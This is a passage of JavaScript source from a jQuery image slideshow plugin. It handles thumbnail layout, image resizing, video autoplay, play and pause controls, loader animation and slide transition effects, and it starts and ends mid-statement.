$(this).parent().index(), cont = wrap.find('.cameraContent').eq(ind); $(this).appendTo(cont); }); target.append('<div class="cameraCont" />'); var cameraCont = $('.cameraCont',wrap); var loop; for (loop=0;loop<amountSlide;loop++) { cameraCont.append('<div class="cameraSlide cameraSlide_'+loop+'" />'); var div = $('> div:eq('+loop+')',elem); target.find('.cameraSlide_'+loop).clone(div); } function thumbnailVisible() { var wTh = $(thumbs).width(); $('li', thumbs).removeClass('camera_visThumb'); $('li', thumbs).each(function(){ var pos = $(this).position(), ulW = $('ul', thumbs).outerWidth(), offUl = $('ul', thumbs).offset().left, offDiv = $('> div',thumbs).offset().left, ulLeft = offDiv-offUl; if(ulLeft>0){ $('.camera_prevThumbs',camera_thumbs_wrap).removeClass('hideNav'); } else { $('.camera_prevThumbs',camera_thumbs_wrap).addClass('hideNav'); } if((ulW-ulLeft)>wTh){ $('.camera_nextThumbs',camera_thumbs_wrap).removeClass('hideNav'); } else { $('.camera_nextThumbs',camera_thumbs_wrap).addClass('hideNav'); } var left = pos.left, right = pos.left+($(this).width()); if(right-ulLeft<=wTh && left-ulLeft>=0){ $(this).addClass('camera_visThumb'); } }); } $(window).bind('load resize pageshow',function(){ thumbnailPos(); thumbnailVisible(); }); cameraCont.append('<div class="cameraSlide cameraSlide_'+loop+'" />'); var started; wrap.show(); var w = target.width(); var h = target.height(); var setPause; $(window).bind('resize pageshow',function(){ if(started == true) { resizeImage(); } $('ul', thumbs).animate({'margin-top':0},0,thumbnailPos); if(!elem.hasClass('paused')){ elem.addClass('paused'); if($('.camera_stop',camera_thumbs_wrap).length){ $('.camera_stop',camera_thumbs_wrap).hide() $('.camera_play',camera_thumbs_wrap).show(); if(loader!='none'){ $('#'+pieID).hide(); } } else { if(loader!='none'){ $('#'+pieID).hide(); } } clearTimeout(setPause); setPause = setTimeout(function(){ elem.removeClass('paused'); if($('.camera_play',camera_thumbs_wrap).length){ $('.camera_play',camera_thumbs_wrap).hide(); $('.camera_stop',camera_thumbs_wrap).show(); if(loader!='none'){ $('#'+pieID).fadeIn(); } } else { if(loader!='none'){ $('#'+pieID).fadeIn(); } } },1500); } }); function resizeImage(){ var res; function resizeImageWork(){ w = wrap.width(); if(opts.height.indexOf('%')!=-1) { var startH = Math.round(w / (100/parseFloat(opts.height))); if(opts.minHeight != '' && startH < parseFloat(opts.minHeight)){ h = parseFloat(opts.minHeight); } else { h = startH; } wrap.css({height:h}); } else if (opts.height=='auto') { h = wrap.height(); } else { h = parseFloat(opts.height); wrap.css({height:h}); } $('.camerarelative',target).css({'width':w,'height':h}); $('.imgLoaded',target).each(function(){ var t = $(this), wT = t.attr('width'), hT = t.attr('height'), imgLoadIn = t.index(), mTop, mLeft, alignment = t.attr('data-alignment'), portrait = t.attr('data-portrait'); if(typeof alignment === 'undefined' || alignment === false || alignment === ''){ alignment = opts.alignment; } if(typeof portrait === 'undefined' || portrait === false || portrait === ''){ portrait = opts.portrait; } if(portrait==false||portrait=='false'){ if((wT/hT)<(w/h)) { var r = w / wT; var d = (Math.abs(h - (hT*r)))*0.5; switch(alignment){ case 'topLeft': mTop = 0; break; case 'topCenter': mTop = 0; break; case 'topRight': mTop = 0; break; case 'centerLeft': mTop = '-'+d+'px'; break; case 'center': mTop = '-'+d+'px'; break; case 'centerRight': mTop = '-'+d+'px'; break; case 'bottomLeft': mTop = '-'+d*2+'px'; break; case 'bottomCenter': mTop = '-'+d*2+'px'; break; case 'bottomRight': mTop = '-'+d*2+'px'; break; } t.css({ 'height' : hT*r, 'margin-left' : 0, 'margin-top' : mTop, 'position' : 'absolute', 'visibility' : 'visible', 'width' : w }); } else { var r = h / hT; var d = (Math.abs(w - (wT*r)))*0.5; switch(alignment){ case 'topLeft': mLeft = 0; break; case 'topCenter': mLeft = '-'+d+'px'; break; case 'topRight': mLeft = '-'+d*2+'px'; break; case 'centerLeft': mLeft = 0; break; case 'center': mLeft = '-'+d+'px'; break; case 'centerRight': mLeft = '-'+d*2+'px'; break; case 'bottomLeft': mLeft = 0; break; case 'bottomCenter': mLeft = '-'+d+'px'; break; case 'bottomRight': mLeft = '-'+d*2+'px'; break; } t.css({ 'height' : h, 'margin-left' : mLeft, 'margin-top' : 0, 'position' : 'absolute', 'visibility' : 'visible', 'width' : wT*r }); } } else { if((wT/hT)<(w/h)) { var r = h / hT; var d = (Math.abs(w - (wT*r)))*0.5; switch(alignment){ case 'topLeft': mLeft = 0; break; case 'topCenter': mLeft = d+'px'; break; case 'topRight': mLeft = d*2+'px'; break; case 'centerLeft': mLeft = 0; break; case 'center': mLeft = d+'px'; break; case 'centerRight': mLeft = d*2+'px'; break; case 'bottomLeft': mLeft = 0; break; case 'bottomCenter': mLeft = d+'px'; break; case 'bottomRight': mLeft = d*2+'px'; break; } t.css({ 'height' : h, 'margin-left' : mLeft, 'margin-top' : 0, 'position' : 'absolute', 'visibility' : 'visible', 'width' : wT*r }); } else { var r = w / wT; var d = (Math.abs(h - (hT*r)))*0.5; switch(alignment){ case 'topLeft': mTop = 0; break; case 'topCenter': mTop = 0; break; case 'topRight': mTop = 0; break; case 'centerLeft': mTop = d+'px'; break; case 'center': mTop = d+'px'; break; case 'centerRight': mTop = d+'px'; break; case 'bottomLeft': mTop = d*2+'px'; break; case 'bottomCenter': mTop = d*2+'px'; break; case 'bottomRight': mTop = d*2+'px'; break; } t.css({ 'height' : hT*r, 'margin-left' : 0, 'margin-top' : mTop, 'position' : 'absolute', 'visibility' : 'visible', 'width' : w }); } } }); } if (started == true) { clearTimeout(res); res = setTimeout(resizeImageWork,200); } else { resizeImageWork(); } started = true; } var u, setT; var clickEv, autoAdv, navHover, commands, pagination; var videoHover, videoPresent; if(isMobile() && opts.mobileAutoAdvance!=''){ autoAdv = opts.mobileAutoAdvance; } else { autoAdv = opts.autoAdvance; } if(autoAdv==false){ elem.addClass('paused'); } if(isMobile() && opts.mobileNavHover!=''){ navHover = opts.mobileNavHover; } else { navHover = opts.navigationHover; } if(elem.length!=0){ var selector = $('.cameraSlide',target); selector.wrapInner('<div class="camerarelative" />'); var navSlide; var barDirection = opts.barDirection; var camera_thumbs_wrap = wrap; $('iframe',fakeHover).each(function(){ var t = $(this); var src = t.attr('src'); t.attr('data-src',src); var divInd = t.parent().index('.camera_src > div'); $('.camera_target_content .cameraContent:eq('+divInd+')',wrap).append(t); }); function imgFake() { $('iframe',fakeHover).each(function(){ $('.camera_caption',fakeHover).show(); var t = $(this); var cloneSrc = t.attr('data-src'); t.attr('src',cloneSrc); var imgFakeUrl = opts.imagePath+'blank.gif'; var imgFake = new Image(); imgFake.src = imgFakeUrl; if(opts.height.indexOf('%')!=-1) { var startH = Math.round(w / (100/parseFloat(opts.height))); if(opts.minHeight != '' && startH < parseFloat(opts.minHeight)){ h = parseFloat(opts.minHeight); } else { h = startH; } } else if (opts.height=='auto') { h = wrap.height(); } else { h = parseFloat(opts.height); } t.after($(imgFake).attr({'class':'imgFake','width':w,'height':h})); var clone = t.clone(); t.remove(); $(imgFake).bind('click',function(){ if($(this).css('position')=='absolute') { $(this).remove(); if(cloneSrc.indexOf('vimeo') != -1 || cloneSrc.indexOf('youtube') != -1) { if(cloneSrc.indexOf('?') != -1){ autoplay = '&autoplay=1'; } else { autoplay = '?autoplay=1'; } } else if(cloneSrc.indexOf('dailymotion') != -1) { if(cloneSrc.indexOf('?') != -1){ autoplay = '&autoPlay=1'; } else { autoplay = '?autoPlay=1'; } } clone.attr('src',cloneSrc+autoplay); videoPresent = true; } else { $(this).css({position:'absolute',top:0,left:0,zIndex:10}).after(clone); clone.css({position:'absolute',top:0,left:0,zIndex:9}); } }); }); } imgFake(); if(opts.hover==true){ if(!isMobile()){ fakeHover.hover(function(){ elem.addClass('hovered'); },function(){ elem.removeClass('hovered'); }); } } if(navHover==true){ $(prevNav,wrap).animate({opacity:0},0); $(nextNav,wrap).animate({opacity:0},0); $(commands,wrap).animate({opacity:0},0); if(isMobile()){ fakeHover.live('vmouseover',function(){ $(prevNav,wrap).animate({opacity:1},200); $(nextNav,wrap).animate({opacity:1},200); $(commands,wrap).animate({opacity:1},200); }); fakeHover.live('vmouseout',function(){ $(prevNav,wrap).delay(500).animate({opacity:0},200); $(nextNav,wrap).delay(500).animate({opacity:0},200); $(commands,wrap).delay(500).animate({opacity:0},200); }); } else { fakeHover.hover(function(){ $(prevNav,wrap).animate({opacity:1},200); $(nextNav,wrap).animate({opacity:1},200); $(commands,wrap).animate({opacity:1},200); },function(){ $(prevNav,wrap).animate({opacity:0},200); $(nextNav,wrap).animate({opacity:0},200); $(commands,wrap).animate({opacity:0},200); }); } } $('.camera_stop',camera_thumbs_wrap).live('click',function(){ autoAdv = false; elem.addClass('paused'); if($('.camera_stop',camera_thumbs_wrap).length){ $('.camera_stop',camera_thumbs_wrap).hide() $('.camera_play',camera_thumbs_wrap).show(); if(loader!='none'){ $('#'+pieID).hide(); } } else { if(loader!='none'){ $('#'+pieID).hide(); } } }); $('.camera_play',camera_thumbs_wrap).live('click',function(){ autoAdv = true; elem.removeClass('paused'); if($('.camera_play',camera_thumbs_wrap).length){ $('.camera_play',camera_thumbs_wrap).hide(); $('.camera_stop',camera_thumbs_wrap).show(); if(loader!='none'){ $('#'+pieID).show(); } } else { if(loader!='none'){ $('#'+pieID).show(); } } }); if(opts.pauseOnClick==true){ $('.camera_target_content',fakeHover).mouseup(function(){ autoAdv = false; elem.addClass('paused'); $('.camera_stop',camera_thumbs_wrap).hide() $('.camera_play',camera_thumbs_wrap).show(); $('#'+pieID).hide(); }); } $('.cameraContent, .imgFake',fakeHover).hover(function(){ videoHover = true; },function(){ videoHover = false; }); $('.cameraContent, .imgFake',fakeHover).bind('click',function(){ if(videoPresent == true && videoHover == true) { autoAdv = false; $('.camera_caption',fakeHover).hide(); elem.addClass('paused'); $('.camera_stop',camera_thumbs_wrap).hide() $('.camera_play',camera_thumbs_wrap).show(); $('#'+pieID).hide(); } }); } function shuffle(arr) { for( var j, x, i = arr.length; i; j = parseInt(Math.random() * i), x = arr[--i], arr[i] = arr[j], arr[j] = x ); return arr; } function isInteger(s) { return Math.ceil(s) == Math.floor(s); } if (loader != 'pie') { barContainer.append('<span class="camera_bar_cont" />'); $('.camera_bar_cont',barContainer) .animate({opacity:opts.loaderOpacity},0) .css({'position':'absolute', 'left':0, 'right':0, 'top':0, 'bottom':0, 'background-color':opts.loaderBgColor}) .append('<span id="'+pieID+'" />'); $('#'+pieID).animate({opacity:0},0); var canvas = $('#'+pieID); canvas.css({'position':'absolute', 'background-color':opts.loaderColor}); switch(opts.barPosition){ case 'left': barContainer.css({right:'auto',width:opts.loaderStroke}); break; case 'right': barContainer.css({left:'auto',width:opts.loaderStroke}); break; case 'top': barContainer.css({bottom:'auto',height:opts.loaderStroke}); break; case 'bottom': barContainer.css({top:'auto',height:opts.loaderStroke}); break; } switch(barDirection){ case 'leftToRight': canvas.css({'left':0, 'right':0, 'top':opts.loaderPadding, 'bottom':opts.loaderPadding}); break; case 'rightToLeft': canvas.css({'left':0, 'right':0, 'top':opts.loaderPadding, 'bottom':opts.loaderPadding}); break; case 'topToBottom': canvas.css({'left':opts.loaderPadding, 'right':opts.loaderPadding, 'top':0, 'bottom':0}); break; case 'bottomToTop': canvas.css({'left':opts.loaderPadding, 'right':opts.loaderPadding, 'top':0, 'bottom':0}); break; } } else { pieContainer.append('<canvas id="'+pieID+'"></canvas>'); var G_vmlCanvasManager; var canvas = document.getElementById(pieID); canvas.setAttribute("width", opts.pieDiameter); canvas.setAttribute("height", opts.pieDiameter); var piePosition; switch(opts.piePosition){ case 'leftTop' : piePosition = 'left:0; top:0;'; break; case 'rightTop' : piePosition = 'right:0; top:0;'; break; case 'leftBottom' : piePosition = 'left:0; bottom:0;'; break; case 'rightBottom' : piePosition = 'right:0; bottom:0;'; break; } canvas.setAttribute("style", "position:absolute; z-index:1002; "+piePosition); var rad; var radNew; if (canvas && canvas.getContext) { var ctx = canvas.getContext("2d"); ctx.rotate(Math.PI*(3/2)); ctx.translate(-opts.pieDiameter,0); } } if(loader=='none' || autoAdv==false) { $('#'+pieID).hide(); $('.camera_canvas_wrap',camera_thumbs_wrap).hide(); } if($(pagination).length) { $(pagination).append('<ul class="camera_pag_ul" />'); var li; for (li = 0; li < amountSlide; li++){ $('.camera_pag_ul',wrap).append('<li class="pag_nav_'+li+'" style="position:relative; z-index:1002"><span><span>'+li+'</span></span></li>'); } $('.camera_pag_ul li',wrap).hover(function(){ $(this).addClass('camera_hover'); if($('.camera_thumb',this).length){ var wTh = $('.camera_thumb',this).outerWidth(), hTh = $('.camera_thumb',this).outerHeight(), wTt = $(this).outerWidth(); $('.camera_thumb',this).show().css({'top':'-'+hTh+'px','left':'-'+(wTh-wTt)/2+'px'}).animate({'opacity':1,'margin-top':'-3px'},200); $('.thumb_arrow',this).show().animate({'opacity':1,'margin-top':'-3px'},200); } },function(){ $(this).removeClass('camera_hover'); $('.camera_thumb',this).animate({'margin-top':'-20px','opacity':0},200,function(){ $(this).css({marginTop:'5px'}).hide(); }); $('.thumb_arrow',this).animate({'margin-top':'-20px','opacity':0},200,function(){ $(this).css({marginTop:'5px'}).hide(); }); }); } if($(thumbs).length) { var thumbUrl; if(!$(pagination).length) { $(thumbs).append('<div />'); $(thumbs).before('<div class="camera_prevThumbs hideNav"><div></div></div>').before('<div class="camera_nextThumbs hideNav"><div></div></div>'); $('> div',thumbs).append('<ul />'); $.each(allThumbs, function(i, val) { if($('> div', elem).eq(i).attr('data-thumb')!='') { var thumbUrl = $('> div', elem).eq(i).attr('data-thumb'), newImg = new Image(); newImg.src = thumbUrl; $('ul',thumbs).append('<li class="pix_thumb pix_thumb_'+i+'" />'); $('li.pix_thumb_'+i,thumbs).append($(newImg).attr('class','camera_thumb')); } }); } else { $.each(allThumbs, function(i, val) { if($('> div', elem).eq(i).attr('data-thumb')!='') { var thumbUrl = $('> div', elem).eq(i).attr('data-thumb'), newImg = new Image(); newImg.src = thumbUrl; $('li.pag_nav_'+i,pagination).append($(newImg).attr('class','camera_thumb').css({'position':'absolute'}).animate({opacity:0},0)); $('li.pag_nav_'+i+' > img',pagination).after('<div class="thumb_arrow" />'); $('li.pag_nav_'+i+' > .thumb_arrow',pagination).animate({opacity:0},0); } }); wrap.css({marginBottom:$(pagination).outerHeight()}); } } else if(!$(thumbs).length && $(pagination).length) { wrap.css({marginBottom:$(pagination).outerHeight()}); } var firstPos = true; function thumbnailPos() { if($(thumbs).length && !$(pagination).length) { var wTh = $(thumbs).outerWidth(), owTh = $('ul > li',thumbs).outerWidth(), pos = $('li.cameracurrent', thumbs).length ? $('li.cameracurrent', thumbs).position() : '', ulW = ($('ul > li', thumbs).length * $('ul > li', thumbs).outerWidth()), offUl = $('ul', thumbs).offset().left, offDiv = $('> div', thumbs).offset().left, ulLeft; if(offUl<0){ ulLeft = '-'+ (offDiv-offUl); } else { ulLeft = offDiv-offUl; } if(firstPos == true) { $('ul', thumbs).width($('ul > li', thumbs).length * $('ul > li', thumbs).outerWidth()); if($(thumbs).length && !$(pagination).lenght) { wrap.css({marginBottom:$(thumbs).outerHeight()}); } thumbnailVisible(); /*I repeat this two lines because of a problem with iPhones*/ $('ul', thumbs).width($('ul > li', thumbs).length * $('ul > li', thumbs).outerWidth()); if($(thumbs).length && !$(pagination).lenght) { wrap.css({marginBottom:$(thumbs).outerHeight()}); } /*...*/ } firstPos = false; var left = $('li.cameracurrent', thumbs).length ? pos.left : '', right = $('li.cameracurrent', thumbs).length ? pos.left+($('li.cameracurrent', thumbs).outerWidth()) : ''; if(left<$('li.cameracurrent', thumbs).outerWidth()) { left = 0; } if(right-ulLeft>wTh){ if((left+wTh)<ulW){ $('ul', thumbs).animate({'margin-left':'-'+(left)+'px'},500,thumbnailVisible); } else { $('ul', thumbs).animate({'margin-left':'-'+($('ul', thumbs).outerWidth()-wTh)+'px'},500,thumbnailVisible); } } else if(left-ulLeft<0) { $('ul', thumbs).animate({'margin-left':'-'+(left)+'px'},500,thumbnailVisible); } else { $('ul', thumbs).css({'margin-left':'auto', 'margin-right':'auto'}); setTimeout(thumbnailVisible,100); } } } if($(commands).length) { $(commands).append('<div class="camera_play"></div>').append('<div class="camera_stop"></div>'); if(autoAdv==true){ $('.camera_play',camera_thumbs_wrap).hide(); $('.camera_stop',camera_thumbs_wrap).show(); } else { $('.camera_stop',camera_thumbs_wrap).hide(); $('.camera_play',camera_thumbs_wrap).show(); } } function canvasLoader() { rad = 0; var barWidth = $('.camera_bar_cont',camera_thumbs_wrap).width(), barHeight = $('.camera_bar_cont',camera_thumbs_wrap).height(); if (loader != 'pie') { switch(barDirection){ case 'leftToRight': $('#'+pieID).css({'right':barWidth}); break; case 'rightToLeft': $('#'+pieID).css({'left':barWidth}); break; case 'topToBottom': $('#'+pieID).css({'bottom':barHeight}); break; case 'bottomToTop': $('#'+pieID).css({'top':barHeight}); break; } } else { ctx.clearRect(0,0,opts.pieDiameter,opts.pieDiameter); } } canvasLoader(); $('.moveFromLeft, .moveFromRight, .moveFromTop, .moveFromBottom, .fadeIn, .fadeFromLeft, .fadeFromRight, .fadeFromTop, .fadeFromBottom',fakeHover).each(function(){ $(this).css('visibility','hidden'); }); opts.onStartLoading.call(this); nextSlide(); /*************************** FUNCTION nextSlide() ***************************/ function nextSlide(navSlide){ elem.addClass('camerasliding'); videoPresent = false; var vis = parseFloat($('div.cameraSlide.cameracurrent',target).index()); if(navSlide>0){ var slideI = navSlide-1; } else if (vis == amountSlide-1) { var slideI = 0; } else { var slideI = vis+1; } var slide = $('.cameraSlide:eq('+slideI+')',target); var slideNext = $('.cameraSlide:eq('+(slideI+1)+')',target).addClass('cameranext'); if( vis != slideI+1 ) { slideNext.hide(); } $('.cameraContent',fakeHover).fadeOut(600); $('.camera_caption',fakeHover).show(); $('.camerarelative',slide).append($('> div ',elem).eq(slideI).find('> div.camera_effected')); $('.camera_target_content .cameraContent:eq('+slideI+')',wrap).append($('> div ',elem).eq(slideI).find('> div')); if(!$('.imgLoaded',slide).length){ var imgUrl = allImg[slideI]; var imgLoaded = new Image(); imgLoaded.src = imgUrl +"?"+ new Date().getTime(); slide.css('visibility','hidden'); slide.prepend($(imgLoaded).attr('class','imgLoaded').css('visibility','hidden')); var wT, hT; if (!$(imgLoaded).get(0).complete || wT == '0' || hT == '0' || typeof wT === 'undefined' || wT === false || typeof hT === 'undefined' || hT === false) { $('.camera_loader',wrap).delay(500).fadeIn(400); imgLoaded.onload = function() { wT = imgLoaded.naturalWidth; hT = imgLoaded.naturalHeight; $(imgLoaded).attr('data-alignment',allAlign[slideI]).attr('data-portrait',allPor[slideI]); $(imgLoaded).attr('width',wT); $(imgLoaded).attr('height',hT); target.find('.cameraSlide_'+slideI).hide().css('visibility','visible'); resizeImage(); nextSlide(slideI+1); }; } } else { if( allImg.length > (slideI+1) && !$('.imgLoaded',slideNext).length ){ var imgUrl2 = allImg[(slideI+1)]; var imgLoaded2 = new Image(); imgLoaded2.src = imgUrl2 +"?"+ new Date().getTime(); slideNext.prepend($(imgLoaded2).attr('class','imgLoaded').css('visibility','hidden')); imgLoaded2.onload = function() { wT = imgLoaded2.naturalWidth; hT = imgLoaded2.naturalHeight; $(imgLoaded2).attr('data-alignment',allAlign[slideI+1]).attr('data-portrait',allPor[slideI+1]); $(imgLoaded2).attr('width',wT); $(imgLoaded2).attr('height',hT); resizeImage(); }; } opts.onLoaded.call(this); if($('.camera_loader',wrap).is(':visible')){ $('.camera_loader',wrap).fadeOut(400); } else { $('.camera_loader',wrap).css({'visibility':'hidden'}); $('.camera_loader',wrap).fadeOut(400,function(){ $('.camera_loader',wrap).css({'visibility':'visible'}); }); } var rows = opts.rows, cols = opts.cols, couples = 1, difference = 0, dataSlideOn, time, transPeriod, fx, easing, randomFx = new Array('simpleFade','curtainTopLeft','curtainTopRight','curtainBottomLeft','curtainBottomRight','curtainSliceLeft','curtainSliceRight','blindCurtainTopLeft','blindCurtainTopRight','blindCurtainBottomLeft','blindCurtainBottomRight','blindCurtainSliceBottom','blindCurtainSliceTop','stampede','mosaic','mosaicReverse','mosaicRandom','mosaicSpiral','mosaicSpiralReverse','topLeftBottomRight','bottomRightTopLeft','bottomLeftTopRight','topRightBottomLeft','scrollLeft','scrollRight','scrollTop','scrollBottom','scrollHorz'); marginLeft = 0, marginTop = 0, opacityOnGrid = 0; if(opts.opacityOnGrid==true){ opacityOnGrid = 0; } else { opacityOnGrid = 1; } var dataFx = $(' > div',elem).eq(slideI).attr('data-fx'); if(isMobile()&&opts.mobileFx!=''&&opts.mobileFx!='default'){ fx = opts.mobileFx; } else { if(typeof dataFx !== 'undefined' && dataFx!== false && dataFx!== 'default'){ fx = dataFx; } else { fx = opts.fx; } } if(fx=='random') { fx = shuffle(randomFx); fx = fx[0]; } else { fx = fx; if(fx.indexOf(',')>0){ fx = fx.replace(/ /g,''); fx = fx.split(','); fx = shuffle(fx); fx = fx[0]; } } dataEasing = $(' > div',elem).eq(slideI).attr('data-easing'); mobileEasing = $(' > div',elem).eq(slideI).attr('data-mobileEasing'); if(isMobile()&&opts.mobileEasing!=''&&opts.mobileEasing!='default'){ if(typeof mobileEasing !== 'undefined' && mobileEasing!== false && mobileEasing!== 'default') { easing = mobileEasing; } else { easing = opts.mobileEasing; } } else { if(typeof dataEasing !== 'undefined' && dataEasing!== false && dataEasing!== 'default') { easing = dataEasing; } else { easing = opts.easing; } } dataSlideOn = $(' > div',elem).eq(slideI).attr('data-slideOn'); if(typeof dataSlideOn !== 'undefined' && dataSlideOn!== false){ slideOn = dataSlideOn; } else { if(opts.slideOn=='random'){ var slideOn = new Array('next','prev'); slideOn = shuffle(slideOn); slideOn = slideOn[0]; } else { slideOn = opts.slideOn; } } var dataTime = $(' > div',elem).eq(slideI).attr('data-time'); if(typeof dataTime !== 'undefined' && dataTime!== false && dataTime!== ''){ time = parseFloat(dataTime); } else { time = opts.time; } var dataTransPeriod = $(' > div',elem).eq(slideI).attr('data-transPeriod'); if(typeof dataTransPeriod !== 'undefined' && dataTransPeriod!== false && dataTransPeriod!== ''){ transPeriod = parseFloat(dataTransPeriod); } else { transPeriod = opts.transPeriod; } if(!$(elem).hasClass('camerastarted')){ fx = 'simpleFade'; slideOn = 'next'; easing = ''; transPeriod = 400; $(elem).addClass('camerastarted') } switch(fx){ case 'simpleFade': cols = 1; rows = 1; break; case 'curtainTopLeft': if(opts.slicedCols == 0) { cols = opts.cols; } else { cols = opts.slicedCols; } rows = 1; break; case 'curtainTopRight': if(opts.slicedCols == 0) { cols = opts.cols; } else { cols = opts.slicedCols; } rows = 1; break; case 'curtainBottomLeft': if(opts.slicedCols == 0) { cols = opts.cols; } else { cols = opts.slicedCols; } rows = 1; break; case 'curtainBottomRight': if(opts.slicedCols == 0) { cols = opts.cols; } else { cols = opts.slicedCols; } rows = 1; break; case 'curtainSliceLeft': if(opts.slicedCols == 0) { cols = opts.cols; } else { cols = opts.slicedCols; } rows = 1; break; case 'curtainSliceRight': if(opts.slicedCols == 0) { cols = opts.cols; } else { cols = opts.slicedCols; } rows = 1; break; case 'blindCurtainTopLeft': if(opts.slicedRows == 0) { rows = opts.rows; } else { rows = opts.slicedRows; } cols = 1; break; case 'blindCurtainTopRight': if(opts.slicedRows == 0) { rows = opts.rows; } else { rows = opts.slicedRows; } cols = 1; break; case 'blindCurtainBottomLeft': if(opts.slicedRows == 0) { rows = opts.rows; } else { rows = opts.slicedRows; } cols = 1; break; case 'blindCurtainBottomRight': if(opts.slicedRows == 0) { rows = opts.rows; } else { rows = opts.slicedRows; } cols = 1; break; case 'blindCurtainSliceTop': if(opts.slicedRows == 0) { rows = opts.rows; } else { rows = opts.slicedRows; } cols = 1; break; case 'blindCurtainSliceBottom': if(opts.slicedRows == 0) { rows = opts.rows; } else { rows = opts.slicedRows; } cols = 1; break; case 'stampede': difference = '-'+transPeriod; break; case 'mosaic': difference = opts.gridDifference; break; case 'mosaicReverse': difference = opts.gridDifference; break; case 'mosaicRandom': break; case 'mosaicSpiral': difference = opts.gridDifference; couples = 1.7; break; case 'mosaicSpiralReverse': difference = opts.gridDifference; couples = 1.7; break; case 'topLeftBottomRight': difference = opts.gridDifference; couples = 6; break; case 'bottomRightTopLeft': difference = opts.gridDifference; couples = 6; break; case 'bottomLeftTopRight': difference = opts.gridDifference; couples = 6; break; case 'topRightBottomLeft': difference = opts.gridDifference; couples = 6; break; case 'scrollLeft': cols = 1; rows = 1; break; case 'scrollRight': cols = 1; rows = 1; break; case 'scrollTop': cols = 1; rows = 1; break; case 'scrollBottom': cols = 1; rows = 1; break; case 'scrollHorz': cols = 1; rows = 1; break; } var cycle = 0; var blocks = rows*cols; var leftScrap = w-(Math.floor(w/cols)*cols); var topScrap = h-(Math.floor(h/rows)*rows); var addLeft; var addTop; var tAppW = 0; var tAppH = 0; var arr = new Array(); var delay = new Array(); var order = new Array(); while(cycle < blocks){ arr.push(cycle); delay.push(cycle); cameraCont.append('<div class="cameraappended" style="display:none; overflow:hidden; position:absolute; z-index:1000" />'); var tApp = $('.cameraappended:eq('+cycle+')',target); if(fx=='scrollLeft' || fx=='scrollRight' || fx=='scrollTop' || fx=='scrollBottom' || fx=='scrollHorz'){ selector.eq(slideI).clone().show().appendTo(tApp); } else { if(slideOn=='next'){ selector.eq(slideI).clone().show().appendTo(tApp); } else { selector.eq(vis).clone().show().appendTo(tApp); } } if(cycle%cols<leftScrap){ addLeft = 1; } else { addLeft = 0; } if(cycle%cols==0){ tAppW = 0; } if(Math.floor(cycle/cols)<topScrap){ addTop = 1; } else { addTop = 0; } tApp.css({ 'height': Math.floor((h/rows)+addTop+1), 'left': tAppW, 'top': tAppH, 'width': Math.floor((w/cols)+addLeft+1) }); $('> .cameraSlide', tApp).css({ 'height': h, 'margin-left': '-'+tAppW+'px', 'margin-top': '-'+tAppH+'px', 'width': w }); tAppW = tAppW+tApp.width()-1; if(cycle%cols==cols-1){ tAppH = tAppH + tApp.height() - 1; } cycle++; } switch(fx){ case 'curtainTopLeft': break; case 'curtainBottomLeft': break; case 'curtainSliceLeft': break; case 'curtainTopRight': arr = arr.reverse(); break; case 'curtainBottomRight': arr = arr.reverse(); break; case 'curtainSliceRight': arr = arr.reverse(); break; case 'blindCurtainTopLeft': break; case 'blindCurtainBottomLeft': arr = arr.reverse(); break; case 'blindCurtainSliceTop': break; case 'blindCurtainTopRight': break; case 'blindCurtainBottomRight': arr = arr.reverse(); break; case 'blindCurtainSliceBottom': arr = arr.reverse(); break; case 'stampede': arr = shuffle(arr); break; case 'mosaic': break; case 'mosaicReverse': arr = arr.reverse(); break; case 'mosaicRandom': arr = shuffle(arr); break; case 'mosaicSpiral': var rows2 = rows/2, x, y, z, n=0; for (z = 0; z < rows2; z++){ y = z; for (x = z; x < cols - z - 1; x++) { order[n++] = y * cols + x; } x = cols - z - 1; for (y = z; y < rows - z - 1; y++) { order[n++] = y * cols + x; } y = rows - z - 1; for (x = cols - z - 1; x > z; x--) { order[n++] = y * cols + x; } x = z; for (y = rows - z - 1; y > z; y--) { order[n++] = y * cols + x; } } arr = order; break; case 'mosaicSpiralReverse': var rows2 = rows/2, x, y, z, n=blocks-1; for (z = 0; z < rows2; z++){ y = z; for (x = z; x < cols - z - 1; x++) { order[n--] = y * cols + x; } x = cols - z - 1; for (y = z; y < rows - z - 1; y++) { order[n--] = y * cols + x; } y = rows - z - 1; for (x = cols - z - 1; x > z; x--) { order[n--] = y * cols + x; } x = z; for (y = rows - z - 1; y > z; y--) { order[n--] = y * cols + x; } } arr = order; break; case 'topLeftBottomRight': for (var y = 0; y < rows; y++) for (var x = 0; x < cols; x++) { order.push(x + y); } delay = order; break; case 'bottomRightTopLeft': for (var y = 0; y < rows; y++) for (var x = 0; x < cols; x++) { order.push(x + y); } delay = order.reverse(); break; case 'bottomLeftTopRight': for (var y = rows; y > 0; y--) for (var x = 0; x < cols; x++) { order.push(x + y); } delay = order; break; case 'topRightBottomLeft': for (var y = 0; y < rows; y++) for (var x = cols; x > 0; x--) { order.push(x + y); } delay = order; break; } $.each(arr, function(index, value) { if(value%cols<leftScrap){ addLeft = 1; } else { addLeft = 0; } if(value%cols==0){ tAppW = 0; } if(Math.floor(value/cols)<topScrap){ addTop = 1; } else { addTop = 0; } switch(fx){ case 'simpleFade': height = h; width = w; opacityOnGrid = 0; break; case 'curtainTopLeft': height = 0, width = Math.floor((w/cols)+addLeft+1), marginTop = '-'+Math.floor((h/rows)+addTop+1)+'px'; break; case 'curtainTopRight': height = 0, width = Math.floor((w/cols)+addLeft+1), marginTop = '-'+Math.floor((h/rows)+addTop+1)+'px'; break; case 'curtainBottomLeft': height = 0, width = Math.floor((w/cols)+addLeft+1), marginTop = Math.floor((h/rows)+addTop+1)+'px'; break; case 'curtainBottomRight': height = 0, width = Math.floor((w/cols)+addLeft+1), marginTop = Math.floor((h/rows)+addTop+1)+'px'; break; case 'curtainSliceLeft': height = 0, width = Math.floor((w/cols)+addLeft+1); if(value%2==0){ marginTop = Math.floor((h/rows)+addTop+1)+'px'; } else { marginTop = '-'+Math.floor((h/rows)+addTop+1)+'px'; } break; case 'curtainSliceRight': height = 0, width = Math.floor((w/cols)+addLeft+1); if(value%2==0){ marginTop = Math.floor((h/rows)+addTop+1)+'px'; } else { marginTop = '-'+Math.floor((h/rows)+addTop+1)+'px'; } break; case 'blindCurtainTopLeft': height = Math.floor((h/rows)+addTop+1), width = 0, marginLeft = '-'+Math.floor((w/cols)+addLeft+1)+'px'; break; case 'blindCurtainTopRight': height = Math.floor((h/rows)+addTop+1), width = 0, marginLeft = Math.floor((w/cols)+addLeft+1)+'px'; break; case 'blindCurtainBottomLeft': height = Math.floor((h/rows)+addTop+1), width = 0, marginLeft = 